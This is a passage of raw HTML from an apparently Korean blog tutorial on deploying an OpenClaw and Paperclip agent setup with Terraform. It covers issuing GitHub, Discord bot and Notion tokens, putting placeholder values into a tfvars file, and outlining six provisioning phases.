  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yBT0l/dJMcagrsFfn/kHi3KzIhfWaqpuKvhahhC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yBT0l/dJMcagrsFfn/kHi3KzIhfWaqpuKvhahhC0/img.png&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;180&quot; data-is-animation=&quot;false&quot; style=&quot;width: 57.162%; margin-right: 10px;&quot; data-widthpercent=&quot;57.83&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yBT0l/dJMcagrsFfn/kHi3KzIhfWaqpuKvhahhC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyBT0l%2FdJMcagrsFfn%2FkHi3KzIhfWaqpuKvhahhC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;180&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qjG8q/dJMcabqbB7K/oroJbIruLHssmLZHAxXhbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qjG8q/dJMcabqbB7K/oroJbIruLHssmLZHAxXhbk/img.png&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;808&quot; data-is-animation=&quot;false&quot; style=&quot;width: 41.6752%;&quot; data-widthpercent=&quot;42.17&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qjG8q/dJMcabqbB7K/oroJbIruLHssmLZHAxXhbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqjG8q%2FdJMcabqbB7K%2ForoJbIruLHssmLZHAxXhbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1368&quot; height=&quot;808&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Copilot 선택 후 Generate token&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dxjOza/dJMcajhnSWo/aPUM0alE2gmU3tEMfVlUy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dxjOza/dJMcajhnSWo/aPUM0alE2gmU3tEMfVlUy0/img.png&quot; data-alt=&quot;키 값을 복사하여 따로 메모해둡니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dxjOza/dJMcajhnSWo/aPUM0alE2gmU3tEMfVlUy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdxjOza%2FdJMcajhnSWo%2FaPUM0alE2gmU3tEMfVlUy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;720&quot; height=&quot;130&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;키 값을 복사하여 따로 메모해둡니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;토큰&lt;/b&gt;은 생성 직후 한 번만 보여주며, 놓치면 &lt;b&gt;재발급&lt;/b&gt;해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발급한 토큰은 &lt;b&gt;Terraform&lt;/b&gt; 변수 &lt;b&gt;llm_api_key&lt;/b&gt;에 넣을 예정입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Discord&amp;nbsp;봇&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트 소통을 위한 &lt;b&gt;Discode 봇&lt;/b&gt;을 생성합니다.&lt;br /&gt;&lt;b&gt;텔레그램&lt;/b&gt;이나 &lt;b&gt;슬랙&lt;/b&gt;같은 다른 메신저 앱도 연동이 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://discord.com/developers/applications&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://discord.com/developers/applications&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775106130437&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Discord for Developers&quot; data-og-description=&quot;Build games, experiences, and integrations for millions of users on Discord.&quot; data-og-host=&quot;discord.com&quot; data-og-source-url=&quot;https://discord.com/developers/applications&quot; data-og-url=&quot;https://discord.com/developers/applications&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bo6SUR/dJMb9gxlJUb/ybqsDfkQTMSumCRT2mrBMK/img.png?width=2400&amp;amp;height=1256&amp;amp;face=0_0_2400_1256&quot;&gt;&lt;a href=&quot;https://discord.com/developers/applications&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://discord.com/developers/applications&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bo6SUR/dJMb9gxlJUb/ybqsDfkQTMSumCRT2mrBMK/img.png?width=2400&amp;amp;height=1256&amp;amp;face=0_0_2400_1256');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Discord for Developers&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Build games, experiences, and integrations for millions of users on Discord.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;discord.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cchePH/dJMcagE1430/BJ69hThiLXyKeMhNpiTLz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cchePH/dJMcagE1430/BJ69hThiLXyKeMhNpiTLz1/img.png&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;598&quot; data-is-animation=&quot;false&quot; width=&quot;567&quot; height=&quot;347&quot; style=&quot;width: 47.8341%; margin-right: 10px;&quot; data-widthpercent=&quot;48.4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cchePH/dJMcagE1430/BJ69hThiLXyKeMhNpiTLz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcchePH%2FdJMcagE1430%2FBJ69hThiLXyKeMhNpiTLz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;598&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oqpnM/dJMcadanP92/oXGjvf3QoDBrONLjHfErEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oqpnM/dJMcadanP92/oXGjvf3QoDBrONLjHfErEK/img.png&quot; data-origin-width=&quot;422&quot; data-origin-height=&quot;242&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;51.6&quot; data-filename=&quot;blob&quot; style=&quot;width: 51.0031%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oqpnM/dJMcadanP92/oXGjvf3QoDBrONLjHfErEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoqpnM%2FdJMcadanP92%2FoXGjvf3QoDBrONLjHfErEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;422&quot; height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Discord Developer 접속 후 신규 앱 만들기 - 애플리케이션 ID 복사&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 애플리케이션 ID는 &lt;b&gt;Terraform&lt;/b&gt; 변수 &lt;b&gt;discord_client_id&lt;/b&gt;에 넣을 예정입니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;858&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/etkPbp/dJMcadanQC5/62WbKN9WCZWLhNnCRKn3L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/etkPbp/dJMcadanQC5/62WbKN9WCZWLhNnCRKn3L1/img.png&quot; data-alt=&quot;Reset Token클릭 &amp;amp;rarr; 확인 &amp;amp;rarr; 토큰 복사&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/etkPbp/dJMcadanQC5/62WbKN9WCZWLhNnCRKn3L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FetkPbp%2FdJMcadanQC5%2F62WbKN9WCZWLhNnCRKn3L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1118&quot; height=&quot;858&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;858&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Reset Token클릭 &amp;rarr; 확인 &amp;rarr; 토큰 복사&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 &lt;b&gt;Bot token&lt;/b&gt;은 &lt;b&gt;Terraform&lt;/b&gt; 변수 &lt;b&gt;discord_bot_token&lt;/b&gt;에 넣을 예정입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토큰은 &lt;b&gt;Reset&lt;/b&gt; 직후 한 번만 보여주며, 놓치면 다시 &lt;b&gt;Reset&lt;/b&gt;해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2220&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y2HNW/dJMcaiJx0s1/3nK7DyU3kGd293FpnCpjF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y2HNW/dJMcaiJx0s1/3nK7DyU3kGd293FpnCpjF1/img.png&quot; data-alt=&quot;이후 아래 3가지 항목을 체크합니다. - Save Changes&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y2HNW/dJMcaiJx0s1/3nK7DyU3kGd293FpnCpjF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy2HNW%2FdJMcaiJx0s1%2F3nK7DyU3kGd293FpnCpjF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2220&quot; height=&quot;670&quot; data-origin-width=&quot;2220&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이후 아래 3가지 항목을 체크합니다. - Save Changes&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;봇&lt;/b&gt;을 &lt;b&gt;Discord 서버&lt;/b&gt;에 &lt;b&gt;초대&lt;/b&gt;하기 위한&lt;b&gt; 아래 링크&lt;/b&gt;로 &lt;b&gt;이동&lt;/b&gt;합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1775106797697&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 아래 URL에서 `&amp;lt;클라이언트ID&amp;gt;`를 위에서 복사한 Application ID로 교체:

https://discord.com/oauth2/authorize?client_id=&amp;lt;클라이언트ID&amp;gt;&amp;amp;permissions=277025770560&amp;amp;scope=bot&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;봇을 추가할 서버 선택 &amp;rarr; Continue &amp;rarr; Authorize&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 멤버 목록에 봇이 나타나면 성공합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;844&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ci3DbD/dJMcafMTAR1/GOkd2UuyQzk8BEs4l9zTo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ci3DbD/dJMcafMTAR1/GOkd2UuyQzk8BEs4l9zTo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ci3DbD/dJMcafMTAR1/GOkd2UuyQzk8BEs4l9zTo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fci3DbD%2FdJMcafMTAR1%2FGOkd2UuyQzk8BEs4l9zTo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;301&quot; height=&quot;422&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;844&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;Notion 토큰 (선택)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 추가적으로 &lt;b&gt;Notion&lt;/b&gt; 연동을 선택 하였습니다.&lt;br /&gt;아래 링크를 통해 &lt;b&gt;API 키&lt;/b&gt;를 발급해줍니다.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://www.notion.so/profile/integrations/internal&quot;&gt;마켓플레이스 프로필 | Notion&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775107027625&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;The AI workspace that works for you. | Notion&quot; data-og-description=&quot;Build Custom Agents, search across all your apps, and automate busywork. The AI workspace where teams get more done, faster.&quot; data-og-host=&quot;www.notion.com&quot; data-og-source-url=&quot;https://www.notion.so/profile/integrations/internal&quot; data-og-url=&quot;https://www.notion.so&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bwlnV4/dJMb8UHPtcI/84HJqcwohNd6C2xnyJBns0/img.png?width=2400&amp;amp;height=1260&amp;amp;face=0_0_2400_1260,https://scrap.kakaocdn.net/dn/bebn3w/dJMb8YXLPIa/X4tpf0xK1WTMJOJeC4mgSk/img.png?width=2400&amp;amp;height=1260&amp;amp;face=0_0_2400_1260,https://scrap.kakaocdn.net/dn/6FnoG/dJMb8VNvIsE/CSDBtiSS3QOwbAdIB9I6T0/img.png?width=1728&amp;amp;height=1055&amp;amp;face=0_0_1728_1055&quot;&gt;&lt;a href=&quot;https://www.notion.so/profile/integrations/internal&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.notion.so/profile/integrations/internal&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bwlnV4/dJMb8UHPtcI/84HJqcwohNd6C2xnyJBns0/img.png?width=2400&amp;amp;height=1260&amp;amp;face=0_0_2400_1260,https://scrap.kakaocdn.net/dn/bebn3w/dJMb8YXLPIa/X4tpf0xK1WTMJOJeC4mgSk/img.png?width=2400&amp;amp;height=1260&amp;amp;face=0_0_2400_1260,https://scrap.kakaocdn.net/dn/6FnoG/dJMb8VNvIsE/CSDBtiSS3QOwbAdIB9I6T0/img.png?width=1728&amp;amp;height=1055&amp;amp;face=0_0_1728_1055');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;The AI workspace that works for you. | Notion&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Build Custom Agents, search across all your apps, and automate busywork. The AI workspace where teams get more done, faster.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.notion.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;948&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kFcTh/dJMcad2wSaf/c30nJT5nZCN3bYIuqC9kfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kFcTh/dJMcad2wSaf/c30nJT5nZCN3bYIuqC9kfK/img.png&quot; data-alt=&quot;New integration &amp;amp;rarr; 이름 입력 &amp;amp;rarr; 연결할 워크스페이스 선택 &amp;amp;rarr; Submit&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kFcTh/dJMcad2wSaf/c30nJT5nZCN3bYIuqC9kfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkFcTh%2FdJMcad2wSaf%2Fc30nJT5nZCN3bYIuqC9kfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1876&quot; height=&quot;948&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;948&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;New integration &amp;rarr; 이름 입력 &amp;rarr; 연결할 워크스페이스 선택 &amp;rarr; Submit&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;Internal Integration Secret&lt;/b&gt; (`ntn_xxxx...`)을 복사 하여&lt;br /&gt;&lt;b&gt;Terraform&lt;/b&gt; 변수 &lt;b&gt;notion_token&lt;/b&gt;에 넣을 예정입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1295&quot; data-origin-height=&quot;1265&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xN4Ns/dJMcagyduGV/NyFizKKmAIUzImgBKWyz7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xN4Ns/dJMcagyduGV/NyFizKKmAIUzImgBKWyz7k/img.png&quot; data-alt=&quot;Notion에서 연동할 페이지/DB 열기 &amp;amp;rarr; 우측 상단 `&amp;amp;middot;&amp;amp;middot;&amp;amp;middot;` &amp;amp;rarr; Connections &amp;amp;rarr; 생성한 Integration 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xN4Ns/dJMcagyduGV/NyFizKKmAIUzImgBKWyz7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxN4Ns%2FdJMcagyduGV%2FNyFizKKmAIUzImgBKWyz7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;580&quot; height=&quot;567&quot; data-origin-width=&quot;1295&quot; data-origin-height=&quot;1265&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Notion에서 연동할 페이지/DB 열기 &amp;rarr; 우측 상단 `&amp;middot;&amp;middot;&amp;middot;` &amp;rarr; Connections &amp;rarr; 생성한 Integration 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Integration&lt;/b&gt;을 페이지에 연결하지 않으면 API가 해당 페이지에 접근할 수 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Terraform 구축&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;`discord_bot_token`&lt;/b&gt;: Discord Developer Portal &amp;rarr; Bot &amp;rarr; Reset Token&lt;br /&gt;&lt;b&gt;`discord_client_id`&lt;/b&gt;:&amp;nbsp; Discord Developer Portal &amp;rarr; General Information &amp;rarr; Application ID&lt;br /&gt;&lt;b&gt;`llm_api_key`&lt;/b&gt;: GitHub Settings &amp;rarr; Developer settings &amp;rarr; Fine-grained PAT&amp;nbsp;&lt;br /&gt;&lt;b&gt;`notion_token`&lt;/b&gt;: Notion &amp;rarr; My Integrations &amp;rarr; Internal Secret&lt;br /&gt;&lt;b&gt;`better_auth_secret`&lt;/b&gt;: 비워두면 자동 생성 (`openssl rand -hex 32`)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;`terraform.tfvars`&lt;/b&gt; 파일로 한꺼번에 관리하면 편합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1775107568447&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# apps/terraform.tfvars 
discord_bot_token  = &quot;MTIxNjk4...&quot;
discord_client_id  = &quot;1231234567890&quot;
llm_api_key        = &quot;github_pat_11AXXXXX...&quot;
notion_token       = &quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Terraform 구축&lt;/span&gt;&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;메인 파이프라인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`&lt;b&gt;null_resource&lt;/b&gt;`의&amp;nbsp;`&lt;b&gt;remote-exec&lt;/b&gt;`&amp;nbsp;&lt;b&gt;provisioner&lt;/b&gt;를&amp;nbsp;6개로&amp;nbsp;나눠서,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 단계가 독립적으로 실행, 디버깅 가능하게 구성하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phase&amp;nbsp;0&lt;/b&gt;:&amp;nbsp;기본&amp;nbsp;패키지&amp;nbsp;+&amp;nbsp;Node.js&amp;nbsp;22.x &lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;1&lt;/b&gt;:&amp;nbsp;PM2&amp;nbsp;클린업 &lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;2&lt;/b&gt;:&amp;nbsp;OpenClaw&amp;nbsp;설치&amp;nbsp;&amp;amp;&amp;nbsp;설정 &lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;3&lt;/b&gt;:&amp;nbsp;Paperclip&amp;nbsp;설치&amp;nbsp;&amp;amp;&amp;nbsp;설정 &lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;4&lt;/b&gt;:&amp;nbsp;nginx&amp;nbsp;HTTPS&amp;nbsp;리버스&amp;nbsp;프록시 &lt;br /&gt;&lt;b&gt;Phase&amp;nbsp;5&lt;/b&gt;:&amp;nbsp;PM2&amp;nbsp;자동&amp;nbsp;시작&amp;nbsp;등록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 부터 &lt;b&gt;IDE&lt;/b&gt;를 통해 &lt;b&gt;바이브코딩&lt;/b&gt;하시면 더욱 좋습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;install_apps.tf (OpenClaw + PaperClip)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenClaw&lt;/b&gt;의 &lt;b&gt;openclaw config set&lt;/b&gt;은 단순 &lt;b&gt;key=value&lt;/b&gt;만 지원합니다.&lt;br /&gt;`&lt;b&gt;models.providers&lt;/b&gt;`처럼 배열/중첩 객체가 필요한 설정은 &lt;b&gt;Python&lt;/b&gt;으로 직접 &lt;b&gt;JSON&lt;/b&gt; 편집해야 합니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Github 연결&lt;/b&gt;과 &lt;b&gt;LLM 모델명&lt;/b&gt;을 &lt;b&gt;GPT5-mini&lt;/b&gt;로 설정 해주셔야 &lt;b&gt;제한 한도내에 무료&lt;/b&gt;로 이용이 가능합니다.&lt;/p&gt;
